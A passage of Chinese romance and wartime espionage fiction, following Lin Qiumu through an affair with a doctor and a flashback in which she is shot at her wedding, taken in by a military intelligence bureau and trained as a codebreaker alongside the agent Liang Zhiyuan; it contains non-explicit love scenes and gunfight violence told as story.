“你难道不恨我抢了本应该属于你老师的心脏?”
“老师生前对我说的最后一句话是让我好好做这台手术,而且,我是一个医生,就算不是你我也会心无旁骛地尽全力做好手术。”
说完,他齿间停顿,眼中微动,“我最愧疚的,是对我的病人动了心,这导致我在后来无数次庆幸为你的做手术的是我,直到现在我也还在庆幸。”
身为医者,手术台上躺着的人只能是病人,而不应该产生除病人以外的情感羁绊,即便手术已经完成,这份庆幸也不应该。
“为什么不恨我,陈昼,你应该恨我的啊。”
林湫暮抓住男人执着仪器的手,眼眸溢出泪光。
早在第一次见到陈昼后她就知道这台远赴Y国的手术背后藏了隐情,于是在陈昼去看望那位老师时,她早早等在了门口那家酒吧前,莫名的,她想看一眼陈昼从里面出来时那一刻最真实的模样。
“不是这样的,湫暮,我爱你。”他的神情无比认真,出口的话重复坚定,“对,我爱你。”
陈昼反手握住她的手放到心口处,掌心灼热,心脏剧烈地跳动着。
“你也感受到了对不对。”
他仰着头,此刻深深凝视着他深埋心底的信仰,虔诚祷告。
被握在掌心的那只手开始挣扎,林湫暮目光躲闪不敢直视面前沉重隐忍的双眼,手被陈昼紧紧按在胸膛挣脱不得。
“错了,都错了。”
直到此刻,她才深知这一切都错了,索性还来得及,她得制止住不能继续沉沦下去。
男人俯身与她含泪的双眸对视,深不见底的幽潭黑眸里折射出细碎的光,他凑近仔细凝视她眼里的惊慌退缩、痛苦害怕。
一滴泪从她的眼眶滑落,他轻抿薄唇吻去她脸上的眼泪,咸涩的泪在口中渐渐蔓开。
“湫暮啊,给一点爱吧。”
他凑近,温热的唇瓣覆盖在她的唇上,轻柔碾磨。
一时间一股潮水涌上心头,林湫暮眼中泪水抑制不止地流,她感受着唇上游移深入的男人,心中泛滥成灾。
女人轻摇着头,眼泪顺着脸颊落下。
“医生...”
“林小姐...”他攥着手牢牢抵在心口,眼中隐忍已久的复杂偏执此刻倾泻而出。
房间里男人呼吸粗重,他抵着林湫暮的额头,急切又沉重。
“我是你的医生,也想做你身边的男人,至于名分,你想拿我当什么都随你。”
“床伴,情人,亦或是你在Y国的露水情缘。”
陈昼滚烫的呼吸喷洒在女人脸侧,带着急不可耐的央求。
“我只求你,看看我...”
他凑近女人不可抑制地吻上去,掌心握着她的手往下摸索。
“疼疼我...”这声音已经近乎哀求。
“医生。”林湫暮眼里浮现出一丝清明。
“陈昼。”
……
“你越界了。”
她的话语冷清,听在男人耳中更像是覆了一层冰霜,陈昼迷离的眼停顿住望着女人。
“我马上就要走了,梁先生还在等我,我不希望”
话没说完,面前原本犹豫的男人突然间攒了一团怒火猛地压向床上的林湫暮,带着怒气的男性气息压在她身上,她偏过头躲开男人忽然间毫无章法的吻。
陈昼眼中充血捏住女人的脸用力吻上去,带着占有欲极强的侵略性,唇齿相撞间疼得林湫暮双眉紧皱。
“啪”,清脆的掌声从男人脸侧扇过。
身下林湫暮眼眶红肿,眼角残留着还没干的泪痕,她双眼含泪与陈昼对视,可却在水光朦胧中看到有两张脸在眼前逐渐重叠,一时竟恍了神。
地上纸张翻动,画纸上的男人轮廓清晰,与此刻床上的男人有九分相似。
一滴泪从他眼中落下,生生砸在她脸上,滚烫湿润。
心中有一处柔软被触动,眼泪像是烫进了心里,她越来越模糊,分不清眼前的人。
两人都愣了许久。
天光洒进屋里,床上,女人娇柔的手缓缓绕过男人脖颈处将人往下带,她闭上双眼凑近感受着这具身体的温热气息,迷离中主动仰头吻上男人的唇瓣,细细碾磨,温柔勾人。
“轰”陈昼脑中一瞬间炸裂,原本悄悄熄灭的火苗有了燎原烈火之势。
林湫暮的唇带着微微的凉意,沁润香甜,他没动,任凭女人辗转拉扯,这一刻陈昼感受到了一股直冲头皮的爽感,眼底的疯狂几乎要冲破。
“陈昼,我们在一起吧。”
房间里,她的声音轻柔清晰。
他凝视着她的眼里波光流转。
“好。”
卧室的门窗早已关紧阻隔了外面的风雪,而屋内温度逐渐升高。
床上两具身体交叠相拥,陈昼粗重的呼吸洒在女人身上,他埋着头带着小心翼翼的珍视。
林湫暮眼角未干的泪水滑落,她轻叹一声抚慰,情不自禁呢喃道:“医生...”
卧室的壁灯晕黄映照出交叠起伏的两道影子,朦胧雪里,氤氲温热。
床尾的衣服垂落到地上,女人用纤细的脚腕轻轻抬起勾住男人。
她进大厅的时候看到那件毛绒披风随意搭在
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沙发上,一半布料被拖到地上,屋里的壁炉还在燃烧,只是又到了该加火的时候。
女人眼眸冷淡环视了一圈把拖到地上的披风叠整齐,桌上还摆着没拿走的医用仪器。
屋里的温度带着燥热,她像是没感觉到走到壁炉前重新开始添柴,火光在女人眼中摇曳映照,脸上始终没有多余的表情。
火炉里火星炸裂,干柴烈火。
“人若在火炭上走,脚岂能不烫呢?”
“所以神任凭他们放纵可耻的情欲。”
......
很久以前,像是在梦里的事了。
如血色交织的红色婚纱仿佛一朵极致盛开的玫瑰,高贵华丽,林湫暮站在镜前红唇勾动,媚眼如丝。
“你会是最美的新娘。”
身后,男人靠近,与她一同站在镜子前,欣赏着这一抹极致盛开的红。
“我没想到你会准备这一套婚纱,我很喜欢。”
林湫暮侧眸看向男人,眼尾带笑流露出毫不掩饰的爱意。
男人的手环过女人的腰间轻轻靠近细细嗅着她的发丝,沉醉其中。
“我们的婚礼一定要是最完美的,能配得上这套婚纱的也只有你,亲爱的。”
夜晚的镜前,女人妩媚高贵,男人神秘优雅,这世上再没有比他们更般配的人。
夜色迷离,如同迷雾,拨不开走不出。
殿堂上,一对新人在神的注视下结合相伴,虔诚宣誓。
在神的祝福下,他们缔结誓约,承诺一生一世相伴彼此,永不离弃。
“我愿意嫁给他,愿意与他结为夫妻,从此他便是我的丈夫,我视为生命的伴侣,无论贫穷疾病、别离死亡,都不能将我们分开。”
神圣庄严的教堂里,男人目光专注,他的眼中映出幸福含笑的妻子,漆黑的眼底却深邃无比。穹顶之下,神的注视沉寂又冷漠。
“我愿意与我面前的女人结为夫妻,从此她便是我视为生命的妻子,直到生命结束也会是我唯一的妻子,无论贫穷战乱、疾病死亡,都不能将我们分开。”
教堂里,那抹盛开妖冶的红被深刻其中,深埋地底。
“医生...抱紧我...”
“听你的,都听你的,湫暮,你不知道我想这一天想了多久。”
“嗯...其实医生,我也想了你好久。”
女人清眸魅惑,勾得人□□喷张。
床上的男人喘着气与女人目光相视,额头上有汗落在了她身上,慢慢滑落。
“我带你走吧。”
“我带你离开他身边,去一个他再也找不到的地方。”
热气蒸腾,男人沉浸在深处享受着这一刻极致的顶峰,在两人都意乱情迷时情不自禁地对她说。
林湫暮唇角勾起笑来,脸上泛着潮晕。
“梁先生势力遍布各处没有他找不到的地方,你又能带我去哪?”
“去海的另一边,世界的另一边,湫暮,只要你愿意,我一定能带你走。”
“好啊,只要你来,我就跟你走。”
陈昼脸上浮出惊喜:“好,我们一起离开,从此以后我的整个人所有的一切都只属于你。”
身下林湫暮弯着眼,指尖轻抚过男人的脸庞。
朦胧雪意,红玫瑰盛开正艳,冷冽高贵。
男人对女人究竟是欲望多,还是爱情多呢。
梁先生,这个问题的答案你最清楚。
梁先生,我终于违背了当初我们在神面前许下的誓约。
唉,梁先生,我到底是被你逼疯了,成了如今这副模样。
事到如今,梁先生,我已经万劫不复再回不到你身边了。
“湫暮...如果早知道和你在一起是这样的感觉,我一定在很久之前就成了你的裙下之臣...”
“嗯...陈昼...”
火燃得正烈,灼人焚身。
“梁先生...”
可是梁先生啊,我也曾深深爱过你,成为你的伴侣,成为你的妻子。
12. 关于我们
1372年,城内各处角落都透着沉重压抑的气氛,彼时局势已陷入一触即发之际,随时会升起的硝烟压得人喘不过气来。
今日教堂里竟有新人成婚,这是宁泽唯一一座教堂,不过近两年很少再见到结婚的新人,毕竟战火不知道什么时候就起来了,家家户户都关着门。
“嘭!”
教堂里忽然发出一声枪响,紧接着便是惊慌逃窜的人,场面一片混乱,外面进来一队着军装的人,个个带着肃杀之气。
“oh,mygod!”
神像下的神父只发出一声惊叹还没来得及逃跑就已经被一枪爆了头。
这世道,见着穿军装的跟见了死神似的。
刚才还站在面前深情款款的男人此时早就跑没了影,子弹到处飞射,林湫暮只能趴在长椅上提着婚纱缓慢移动,门口带头穿着黑衣的男人只看了一眼迅速抬手开枪,林湫暮吓得连忙收回眼抱头蹲下。
身后传来急促的脚步声,又是几声枪响,侧门处几具尸体倒下。
“搜!”
带头的那个领着人进入教堂,眉眼间尽是杀气。
林湫暮蜷在椅子下大气不敢出一声,目光中黑靴一步步踏近,身后忽然伸出一双手将她往后拉扯。
“别动,你们再敢靠近我就一枪崩了这个女的。”男人声音沙哑,她想起来这是教堂里打扫的小厮,早晨来时还向她道了声祝福。
此时林湫暮自然已经明白这是个什么情况,战乱时期各方势力暗潮涌动,这只怕是撞上了哪两方势力的炮火里。
黑衣男人双眼微眯,看起来极危险。
他眼神越过两人朝着后面的神像打量。
“我让你别动!”见男人打量起身后的神像,他一声爆吼,震得林湫暮一阵耳鸣。
黑衣男举起枪,神情冷漠:“找到了。”
周围还在搜寻的手下转头看来,男人已经再次举起枪。
“嘭!”子弹穿过胸膛,女人穿着洁白的婚纱,胸前一片鲜红。
那双眼冰冷泛寒,她从未见过这样冷的双眼。
紧接着,教堂里又是几声枪响,小厮提着重伤的林湫暮挡在身前朝黑衣男连开几枪,声嘶怒吼中分散在各处的手下见此情况立马抬手开枪。
黑衣男身手敏捷早在朝那女人开完第一枪后便翻滚到长椅后,周围枪响后他迅速朝男人眉心补了一枪。
枪声终于停下,神像下的两人倒在了地上。
“东西在神像下面。”黑衣男开口说。
刚才死在侧门的人不是想逃跑,而是正准备朝着神像的方向移动,刚才挟持女人的小厮更是死守在神像面前。
神像的板子竟然是空心的,一行人撬了那板子从里面搬出来几个箱子,一打开里面装着满满当当的枪械。
正值战乱,各方军阀割据,H国如今内忧外患,内有几方势力争权不断,外有以Y国为首的结盟势力伺机待发。这几箱军械数量不少,从首都运往南方,而南方一向势弱甚至没有一支正式的军队驻守,现在发现有军械运过去,不免让人怀疑。
教堂里此时尸体遍布,林湫暮艰难地捞过尸体旁的枪,那些人抬着箱子朝门外离开,她撑着身子朝前面开了一枪。
“嘭!”
教堂里又是一声枪响。
黑衣男人闷哼一声跪倒在地,被子弹射中的小腿处鲜血涌出。
男人朝地上的女人看过去,脸上显露出愠怒。
“救我。”林湫暮气息微弱,见前面的人停住了脚步,她继续开口:“我是宁泽首富之女,救我,我爹会给你们钱。”
身后的手下将黑衣男扶起,眼神皆望向他。
“带走。”
林湫暮想起出嫁前她爹说那是两家算出来的黄道吉日,此等天降姻缘实在羡煞旁人。
她总算知道什么叫天降姻缘了。
醒来时,她躺在一间简陋的小房间里,周围陈设简单,到处都是消毒水的味道。
胸口处传来剧烈的痛感,她忍着疼额头冒出了冷汗。躺在床上寻着窗外透进来的光线,现在应该快到中午了。
房间里只有她静静地躺在床上,许是过于安静了,一些细微的声音都能听清。
忽然,身边传来频率平稳的呼吸声,林湫暮往旁边瞥了一眼,白色的挡帘后还有一个人。
稀窣的轻动声,帘子后的人侧过了头,透过一层薄薄的白布林湫暮认出了那双眼。
她冷眼凝视,额头上的冷汗不受控制地冒出。
“哗啦...”隔在两张床之间的挡帘倒在了旁边的病床上,撑着帘子的铁架顺势压在了男人身上。
“嗯...”狭小的病房里,男人忍痛的一声闷哼。
林湫暮嘴边扬起一抹笑,不过她的情况也没好到哪里去,额头上流下的冷汗让她整个人显得更加苍白。一见到男人就想到在教堂里朝她胸口开出的一枪,咬着牙也要把这仇给报了。
“疯女人。”男人声音压抑沉闷,原本被包扎好的腿此时被压在铁架下,冒出的血染红了纱布。
“死瘸子。”
病房门被推开,走进来两个男人。
其中一个男人看见被推倒的挡帘上前重新支起来,“这是怎么了。”
他拆开纱布检查起来,“伤口重新崩开了。”男人手上处理着伤口。
另外一个男人看着年长一些,这人身上有着摄人的压迫感。
“林小姐,你终于醒了。”他走到林湫暮身边,开口温和。
想来这人身份不低,她出声:“这是哪?”
“首都在宁泽的联络总局,也就是军要分局。”
“你又是谁?”她又问。
“李韩明,分局的总负责人。”
林湫暮眼皮跳动,本来以为只是地方势力的争斗,没想到会是首都军要局。
“林小姐被子弹射中胸腔,只差一点就正中心脏,好在捡回一条命来,我们也能好好谈谈后面的合作了。”
胸口缠绕着的纱布有血腥味传来,她知道是刚才推挡帘的时候扯到伤口了。
另一边的医生应该也看出两人不对劲,往这边看了眼继续垂头处理男人的腿,“林小姐先别动,我稍后来给你重新上药。”
李韩明笑眼微眯坐在林湫暮身旁,语气关心道:“你先好好修养,要是有什么需要尽管说。”
“我听说是执渊朝你开的枪,我代他向林小姐说声抱歉。”
病床上的男人靠在床上侧眸看了眼,与林湫暮正好转过来的眼眸相视。
“李局长的好意我心领了,不过朝我开枪的人不就在这吗,怎么还需要旁人代劳。”
那男人表情冷淡,“现场情况混乱,情急开枪,希望小姐见谅。”
李韩明笑了两声:“我们整日在刀尖上舔血做的是些不知轻重的活儿,自然不像林小姐你们这些留洋回来的知识分子。”
“听说林小姐学的是数学?”
林湫暮心里打量着回答,“嗯。”她点了点头。
“这倒是新奇,这年头出去的人不是学医就是进修军事。”
“战乱年代,不管学文习武只要能拯救国家便都是有志之士。”
“不知道林小姐怎么理解救国?”李韩明问病床上的女孩。
“我不会谈论治国之道,只知道在如今的局势里能选的路不多,能坚持心中大义的人更是不容易。”
安静的病房里,窗外的阳光洒进来。
一道掌声响起来,李韩明笑着说:“林小姐不愧为留洋回来的知识分子,希望以后也能看到你为国家尽力的时候。”
彼时正当年少,一切似梦。
“1352年生人,祖籍宁泽,1370年从A国学成回国。”
“家中信息。”
“世代扎根宁泽,家里做医药生意,家中还有一对父母。”
询问室里,梁执渊和李韩明正坐在林湫暮对面。
“有什么方法能让林老相信?”李韩明问。
林湫暮从衣服里掏出一张照片,这是她出国前拍的。
“把这张照片给我父亲看,他自然会相信你们。”
照片被梁执渊从手中抽走,他看了眼便把东西收起来。
说是军要分局,其实还是在惦记着林家会拿多少钱来赎人。
最后,李韩明抿着唇笑说:“林小姐,你也知道现在战时紧张军要处到处缺钱,我们也是没有办法。”
昏暗的询问室里,她脸色苍白:“我当然理解,现在这种时候你们正是需要百姓支持的时候。”
林湫暮抬起眼,与梁执渊凝视的黑眸相撞。
梁执渊是军要处训练出来的特工,这活儿平常所在的位置极为隐秘,有天死了恐怕连尸体都找不到。
常在黑夜里行走的人,身上自然没有多少温度。
那双眼里骇人的冰冷林湫暮此刻明白了,想起先前推倒铁架的事她难免有些发怵,这人这么危险,也亏她命大没被他立马崩了。
林湫暮住在军要处时经常能看见情报室里来来往往截获的电文,李韩明说那里有首都传来的电报也有五国来往的秘密电文,只不过现在国内技术有限,就算召集了国内最先进的一批人也还是很难从密报里解析出什么。
她在国外时对电文了解得不多,但也尝试过。
“林小姐对这方面感兴趣?”李韩明站在一旁见她盯着看了一会儿。
“以前在A国的时候尝试过几次电文解析,不过真的看到电文破译工作还是不一样。”
他们站在办公室门口,这一层楼相比其他楼层明显安静许多。
中年男人抿着唇淡淡笑笑,说:“这些人来自国内各地,都是想在眼下这时局下尽一份自己的力啊。”
情报局是保密机构,平常人是绝对不能轻易靠近的,这些日子李韩明带着她更像是在熟悉军要局各处。
“林小姐也在这里住了有一段时间了,我想听听你对军要局的想法。”
“我”林湫暮没想到李韩明会问的这样直白,一时语塞。
“没事,你尽可以大胆点说。”他凑近压低了声音,“我不会跟别人说的。”男人脸上挂着笑,年近半百的人开玩笑似的对她说。
“我哪里有什么想法,只是觉得身在乱世,都不容易。”
“是啊,都不容易。”他像是感慨,又说:“林小姐有没有想过留在情报处工作。”
办公室里的人还在埋头处理新截的电报,他们站在走廊的外侧时不时能看见走动的人。
“我吗?”林湫暮不可思议道。
“你前年刚从A国回来,正是我们需要找的人才,如果不是因为这次意外我们也本想去府上请林小姐。”
她深吸了口气,牵扯到胸口处的伤,“抱歉,李局长,我不能答应你。”
长长的走廊上,只有电报机工作的声音,气氛一时间僵住。
楼梯处传来脚步声,李韩明低头笑了笑,摇摇头说道:“罢了,我不会强人所难,只是向林小姐提个建议。”
林湫暮侧眸看向楼梯间,随着头顶吊灯的光线,梁执渊的脸逐渐明朗。
每次见那人都不由得升起一股寒气,她莫名哆嗦了一下。
男人一身黑衣,来到李韩明身旁凑近说了几句话,随即,李韩明脸色微变。
至于知道消息,是在几天之后了。
“林小姐,我们拿了你给的照片去林家,但是林老说,他不会出钱赎人。”
李韩明坐在对面,依旧像个慈祥的叔叔,语气里带着宽慰。
听到消息的林湫暮心凉了一截,她从没想过林家不会来救她,询问室里,她独自面对着两人。
“为什么?”她问。
李韩明叹了口气:“林小姐是在婚礼当天失踪的,现在闹得满城风雨,林老说与其要一个不清不白的女儿,不如就当你死了,以成全林家名声。”
林家的,名声...
“我不相信,我要回林家。”
林湫暮起身就要离开,下一瞬被一双手抓住手腕,她回头,是梁执渊。
“没有赎金就不能离开。”他冷着脸说,不带一丝情绪。
“你现在回去连林家的门都进不去,话已经说得这么明白了,何必呢林小姐。”李韩明攥了攥手,看着林湫暮,“你已经被弃了,湫暮。”
询问室内,她的半张脸隐于黑暗中,几乎没有呼吸。
男人扣住了她的手腕,眼里冰凉,划过不易察觉的暗流。
“我此前说过的话依然有效,林家不要你,军要局要你。”李韩明沉着声。
半晌,林湫暮抽出被扣住的手腕,胸口的伤又在隐隐作痛。
“那就多谢局长了。”
“伤口又痛了?”李韩明关心道,他是个军人,却时常流露出长辈的关心。
“快去医务室打一针止痛剂,你这伤在心口,平时得小心着点。”
她点点头,眼眶的眼泪被逼了回去,没再说
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话。
不过几个月,林湫暮从即将出嫁的林家大小姐成了情报处的情报员。
李韩明一直没有再下达新的任务,好像那天的事就这样被搁置了,她还是继续待在军要局,只是每天会有人来交给她一些关于情报方面的专业书籍。
情报处所在的楼层平时不会轻易放人上去,林湫暮再也没上去过。
这些天她一直埋头学习情报知识,看起来正在慢慢适应军要局的生活,胸口的伤隔一阵子就会发作,好在军要局有从国外专门调配的止痛剂,不过以后这伤怕是要留后遗症。
这段时间和林湫暮接触最多的人除了医生就是梁执渊了,他每天早上准时拿着厚厚的一叠书站在门口,然后敲响门。
打开门的时候,林湫暮熟稔地从他手上接过东西,不过今天男人两手空空,她皱起眉。
“准备一下,离开军要局。”
林湫暮问他:“去哪?”
“在城西准备了住处,你和我一起去。”
“好。”她转头准备收拾东西,不过,意识到不对劲,“我们俩,一起住在那儿?”
梁执渊站在门口,睨了她一眼,“对。”
她想说什么,瞬即被堵住了话。“任务安排。”
话已经说到这,她只得抓紧时间去收拾好东西。房间里属于她的东西不多,在这里前前后后住了几个月总算能出去,她一刻也没多耽误,走之前拿上了李韩明交给她防身的配枪。
第一个任务来的不算快,却也不算慢。城西有一个联络点,上一个情报员在前不久失踪,现在抽不出人手过去,只能派林湫暮这个新来的情报员过去了。这次和她一起搭档的是目前军要局资历最深的特工,梁执渊。
去的路上两人尽量往小巷走,城西一块人多眼杂,他们带着不多的行李走在街上像一对最普通不过的夫妻。
眼下正值初秋,本该是农民吆喝卖粮的好时节,可街上卖粮的老农民却没见多少。
林湫暮打量着街上来来往往的人,忽地说起:“家里买粮了吗?”
她说完,意识到旁边的人明显愣了一下。
“没有。”
“那你待会去买点粮食回家。”末了,转过头对他说:“咱们小夫妻把日子过好。”
梁执渊眼神闪过异样,盯着林湫暮沉默了一会儿,“你带药了吗?”
他们走进一个小巷,不远处能看见一排紧挨着的房舍,她望过去,猜想就是这儿了。
“带了啊,每次伤口一疼就会想到梁先生你,枪法真好,什么时候也能传授我几招。”
“说笑,我当日射偏了几寸,倒是林小姐天赋异禀,第一次开枪就正中靶心。”
林湫暮笑着摆摆手,“我运气好,还得多谢你手下留情让我有机会开枪。”
“以后开枪的机会还有很多。”梁执渊说话时一脸冷沉。
说着两人已经走到了一处房屋前,他攥起林湫暮的手往一间小院走去,她目光略过周围打量的人,这里正处城西中心,鱼龙混杂什么人都有,消息自然也最灵通。
屋子不大,里面放着一台电报机,他看了眼机器转过头来说:“记住,除了我之外再有任何人拿电文给你解码,那个人就是奸细。”
林湫暮缓缓吸了口气,对他点了点头。
任务里不管是谁都只需要听命于自己的直属上级,梁执渊需要执行的只有李韩明下达的命令,而她需要执行的只有梁执渊的命令。
小院地处闹区,过来攘往叫卖声不停。两人放下东西在屋子里收拾了会儿,梁执渊身高腿长,平常冷着脸一副随时行动的状态,如今在屋子里拿着扫把扫地看起来着实有些违和。
林湫暮在床头抻着被子,偏头往他身上打量了一眼,眼角弯起,说:“亲爱的,你是不是该去外面买点粮食回来了,不然家里没有东西可以煮啊。”
屋子里男人背影挺直,手里拿着扫把朝她望过来,黑眸一片深黑。
“我走之后你不能随便走动。”
“记住了。”
他没再说什么放下东西便离开了屋子,林湫暮还在屋子里继续收拾。
小院的门一开一关,她听着声音眼里的笑意摒去,从行李中拿出配枪。她当然知道现在出去很有可能是陷阱,可梁执渊不在也是一个绝好的机会,她必须抓住。
城西距离林家不算远,她拿上枪出了小院一刻也没敢多停留。
军要局的说辞林湫暮从一开始就没相信,相反倒是对林家的处境有了深深的担忧。如果不是为了林家的钱,她不相信军要局会一直留着她,毕竟那里不是慈善堂。
林家在宁泽是数一数二的富商,这块肥肉早就被人盯上许久,这次婚礼后本打算一家迁居去往国外,没想到最终还是没走成。
她一路小心来到林家,还是熟悉的建筑,可大门口守着的人是陌生的。林湫暮自小在林家长大,十几年了都没换过,她顿时提起了心。
绕过前门,房子后面有一个还算隐蔽的侧门,林湫暮心下一喜大步上前。刚走出没几步手上被一股大力往后拉去,她下意识用手肘还击挣扎,对方一把抓住并在她出声之前堵住了她的嘴。
“闭嘴,想死吗?”声音是梁执渊。
都到这了,林湫暮不想再回去,掏出枪对着身后没有丝毫犹豫开出一枪。梁执渊出手握住她的手朝向另一处的树林。
“嘭!”
枪响吓飞了树上的鸟,也引起了守在林家附近的人的注意。
几乎是几秒之间周围聚集出一队穿着便装的人,他们身手矫健一看就是受过训练的。
“跟我走。”梁执渊迅速带着人往另一条路离开林家。
再分不清楚状况林湫暮也知道守在林家周围的人有蹊跷,她跑起来倒是一点不拖后腿,跟着梁执渊跑出林家范围没入了人群。
街上人来来往往,后面的一队人追上来立马分成了几路。
两人从街道绕过见身后的人都没影了这才停下,梁执渊拉着人到了安全的地方将手松开,随后转身往身后多观察了几眼。
“首都军要局的人在对付林家。”梁执渊开口说。
“那我爹他们有危险吗?”
他凝了眼林湫暮,道:“你不如先想想你自己,林家拒绝出钱赎人不正好说明现在他们自身难保。”
就算从军要局出去也只不过是从一个狼窝进入另一个狼窝。林家在宁泽树大根深平时没少跟各方打交道,牵一发而动全身,宁泽要出大事。
13. 关于我们
“听说了吗,林家的女儿结婚那天被一群黑衣人带走了。”
“这咋不知道,那天教堂死了好多人就是冲着林家去的,估计是想让林家交钱赎人,不过到现在那姑娘也没回去,怕是...”世道不稳,街道边常有交头接耳的人在谈论。
“估计是死了,我还听说林家这两天正在收拾东西准备离开。”
其中有人转头看了一圈压低了声线:“那是被押着去首都了,不去就是死。”
话落,小巷里的人心中明了,纷纷倒吸了一口凉气。
林湫暮买菜回家时耳边传过几句,面上依旧平淡,路过时多看了几眼坐在小巷边上的人。
走进深巷中的小院,房门紧闭,她走进推开了门,屋里还是离开前的样子,梁执渊没有回来。
最近宁泽谈论的最多的就是林家,从林家女儿失踪开始林家一路遭难,明眼人都看得出来这块肥肉终于要被人动了。时世难料,这个世道自身难保,人人只祈祷灾事不要降临在自家身上。
自从离开军要局林湫暮没有再和里面的人有联系,就连李韩明也没再见过。林家要举家离开的消息仿佛与她完全没有关系,她就真的只是军要局安插在联络站的一个情报员。
夜深了,夜里下了雨,屋外的雨势不小,看不到一丝光亮。
小院的门被打开,声音在雨夜里很轻,伴着几步凌乱的脚步声里屋的门也被推开,屋里一片黑暗。
夜里男人鹰眸般的双眼凝向床边,晕暗的光线里只能隐约看清床上隆起的被子。
关上房门,梁执渊动静很轻走到柜前拿出放在里面的棉被,自从住进来两人夜晚便一直是一人床上一人床下。
他熟练地铺开被子,鼻尖的呼吸不同于寻常,有些紊乱。
直到房里再次恢复一片寂静。
“林家的事你知道吗?”黑暗中,林湫暮的声音轻得像梦中呓语。
“嗯。”
“为什么要让他们去首都?”
“马上要打仗了,军队需要一大笔开支,全国各地的富商都自愿捐钱为国尽力。”他的话更像是书里写的规训箴言。
床上的人翻过身,没再说什么。夜里很安静,他们都知道屋里另一个人没有睡。
一股带着潮湿的血腥味弥散开来,愈来愈浓。林湫暮皱着眉下床来,床下的男人呼吸微弱,平日里一点声响都会引起警惕的人此刻睁开了眼与她对视。
她走到烛台前点亮了煤油灯,屋子里一瞬间被灯光照亮,窗外还在淅淅沥沥地下着雨。
“你受伤了?”林湫暮在他面前蹲下,梁执渊起身没说话,反倒是手臂上黏湿的血让她脸色微变。
“我去给你拿药。”
屋里放着常用的药膏,是军要局的医生前几天刚拿来的。
她把药箱放在地上,伸出手拉开梁执渊被割破的衣服,伤口因为拉扯还在持续滴血,衣服上沾着雨水,潮湿混着浓烈的血腥味。他回来后甚至连衣服都没换下,就像往常一样打个地铺便躺下了。如果不是实在伤得太严重,林湫暮想不出他为什么对自己的伤毫不关心。
男人背着身,上衣被脱下,露出了血肉模糊的伤口,因为被雨水浸泡且一直没有处理,伤口边缘处的血肉泛白看起来令人心惊。
“我自己来。”梁执渊嗓音低沉,垂着头看不清他的神情。
药箱还放在脚边,林湫暮本想给他消毒上药却被他一把将药箱拿到了另一边,一副生人勿近的模样。
她盯着他的背影看了一会儿,没再说什么,站起身来去打了盆水放在他身旁。屋子里还有稀稀窣窣上药的声音,看起来他处理伤口的手法已经很熟练了。
“你就不怕我趁你受伤杀了你然后逃跑。”
梁执渊从处理伤口的动作中抬起头,眼中有着看不清的晦暗。
“你不会。”
她坐在床边看着床下受伤的男人,暗黄的灯光映在她的眉眼上。
“你那天为什么救我?”
“你现在是我的人,你出了事我也要跟着一起受罚。”他往旁边侧了侧身子,像是刻意将伤口避着她。
林湫暮产生了一种错觉,梁执渊背着身子的动作看起来竟让人觉得扭扭捏捏的。
“喂,你真的不需要帮忙吗?”过了会儿,她开口问。
“不需要。”男人依旧背着人,一声冷漠的拒绝。
两人之间本就交流不多,林湫暮没再理他躺上床闭上了眼。
煤油灯下,梁执渊左臂的伤口缠绕好了绷带,他感觉到身后已经没了声音默默转过头,床上的人闭着睡眼,晕黄灯光下安静无声。
夜深,他叹了口气,起身熄灭了灯。
一夜宁静。
巷子里的清晨叫卖打闹声不断,太阳还没完全升起来,小院里已经升起了炊烟。
林湫暮端着做好的早饭进屋来,桌上放着刚做好的两碗面,只是这卖相看起来着实不对。
梁执渊手里拿着一叠刚收来的电文走过来,她瞥了眼他手上的东西开口对他说:“吃饭,我早上起来特意做的。”
面碗里放了不少配菜,有肉有菜,只是都混在一起甚至看不到哪里有面。
“喏,你受了伤应该补一补。”她把碗往他面前一推。
梁执渊低头看向那碗面,面上一顿,有一瞬间的迟疑。
“怎么,不想吃?”
“没有。”他坐下身来,将电文放到身边。
桌上的面还在冒着热气,梁执渊看着面前堆成小山的菜,拿起筷子埋头吃了起来。
见他没有多余的反应,林湫暮低头慢吞吞地也开始吃面。
她拿着筷子的表情明显不对劲,摇了摇头,看来过了这么久还是不习惯啊。
在离开林家前,林湫暮只是个十指不沾阳春水的大小姐,搬到城西小巷后才开始自己做饭,一开始就连生火都差点把厨房烧了,后来勉强能做出顿饭来,这味道却始终...
看梁执渊大口大口地低头吃面,眼见着就要见底了。
“你的伤怎么样了?”
“不算严重。”梁执渊端起面碗将汤也喝完了。
林湫暮扯了扯嘴角,继续说:“上次的电报我已经解析完成了。”
梁执渊看向她,拿过一旁刚才没给她的电报,“我会把上次的电报带走,这是新拿到的密码本,是关于首都和南方联系的内容。”
“好,我知道了,你今天走吗?”她接过他手上的东西。
“特工部的人已经出动了。”他说完,眼里流过不易察觉的情绪。
桌上的两碗面,一碗已经空了。
“上完药再走吗?”林湫暮坐在桌前,看着梁执渊拿过电报机旁的电文,枪已经被藏到黑衣里。
他回过头来与她对视了一眼,出声说:“没时间了,任务结束后再处理伤口。”
外面的天还没彻底亮,带着昨晚雨后的潮湿气味,他拉开门,颀长的身影消失在门口。
风吹进屋里,林湫暮还在对着桌上的那碗面挑挑拣拣,手边的密码本从外观上看只是一本普通的书。
她在A国主修数学,与解密本就有共通之处,这段时间在小巷中除了解密梁执渊给的电文就是钻研一些密码学的知识。
小巷的生活并不平静,这里的人靠各种营计生活,闹骂是常事,有时这家还在争闹,明日说不定就不见了人,过一阵子就又有新的人家搬进来。
电报机后放着李韩明给她的配枪,她还从来没用过。林湫暮拿过枪仔细观察起来,这枪小巧,看上去有些年头了。
桌上的电报机突然响起声音,她心中一紧,手上的枪也摔到了地上。林湫暮蹲下身看到地上的东西表情凝固起来。
手枪的弹匣散落,里面竟藏着一张纸。
林湫暮拾起地上的纸翻开,里面是熟悉的密码排序。她记得李韩明把配枪交给她时说这把枪是前一个情报员的枪,而上一个情报员失踪至今未找到。
纸上的密码文还需要一段时间才能解开,她把纸收起来放在一堆密码书里,不仔细看看不出来有什么不对劲。
1375年12月,H国边境博尔索伦发生大轰炸,边境沦陷,战争正式打响。一时间国内正值壮年的男人应征入军,而留下的,只有目送他们远去的老母妻儿。
首都局势紧张,割据的各方军阀分崩离析,形势一片大乱。
那是个混乱动荡的年代,战火纷飞,废墟之下混着血肉的白骨被埋于地底,成为来年再次丰沃的土壤。
城西的小巷已经不如往年热闹了,林湫暮脚下步子急促,走入深巷中的一处小院。
推开门,里面坐着梁执渊和医生,两人神情严肃,凝固的气氛被林湫暮打破。
“湫暮,回来了。”医生笑着向她问好。
“我听说林家的人要被放回来了。”她一进来就坐下问道,目光在两人身上徘徊。
梁执渊眼中深邃,看着她点了点头,“就在最近。”
